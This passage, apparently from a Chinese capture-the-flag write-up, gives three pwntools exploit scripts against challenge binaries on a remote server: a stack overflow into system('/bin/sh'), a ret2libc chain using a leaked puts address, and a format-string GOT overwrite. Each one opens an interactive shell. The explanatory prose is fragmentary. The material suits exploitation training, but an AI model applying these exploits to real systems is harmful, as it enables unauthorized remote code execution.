system
和/bin/sh
字符串,拼接一下就可以使用了
EXP
from pwn import *
sh = process("./stack")
sh = remote("124.156.121.112",28032)
elf = ELF("./stack")
system = elf.sym["system"]
binsh = elf.search("/bin/sh").next()
payload = "a"*13
payload += p32(system)+p32(system)+p32(binsh)
sh.recvuntil("\n")
sh.sendline(payload)
sh.interactive()
EXP
#-*-coding:utf-8
from pwn import *
#sh = process("./stack1")
sh= remote('124.156.121.112',28065)
elf = ELF("./stack1")
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF("./libc6-i386_2.27-3ubuntu1_amd64.so")
puts_got_addr =elf.got['puts']
puts_plt_addr =elf.plt['puts']
main_addr = elf.sym['_start']
payload = "a"*13
payload += p32(puts_plt_addr)
payload += p32(main_addr)
payload += p32(puts_got_addr)
sh.recvuntil("!\n")
sh.sendline(payload)
sh.recvuntil("\n\n")
puts_addr = u32(sh.recv(4))
print hex(puts_addr)
libc_puts_addr = int(libc.sym['puts'])
base_addr = puts_addr-libc_puts_addr
system_addr = base_addr+int(libc.sym['system'])
binsh_addr = base_addr+int(libc.search('/bin/sh').next())
max_payload = "a"*13
success("Base_Addr:0x%x",base_addr)
max_payload += p32(system_addr)
max_payload += p32(main_addr)
max_payload += p32(binsh_addr)
sleep(1)
sh.recvuntil("\n")
sleep(1)
sh.sendline(max_payload)
sh.interactive()
getshell
函数,作用居然是直接可以返回shell,还好还好
/bin/sh
,那么程序在执行printf(&buf)
时,实际执行的却是system('/bin/sh')
。
EXP
from pwn import *
sh = process("./ex2")
sh = remote("124.156.121.112",28050)
elf=ELF("./ex2")
printf = 0x0804A014
system = elf.sym['system']
payload = fmtstr_payload(6,{printf:system})
sh.recvuntil("Hacker!\n")
sh.sendline(payload)
sleep(2)
sh.recvuntil("\n")
sh.sendline("/bin/sh\x00")
sh.interactive()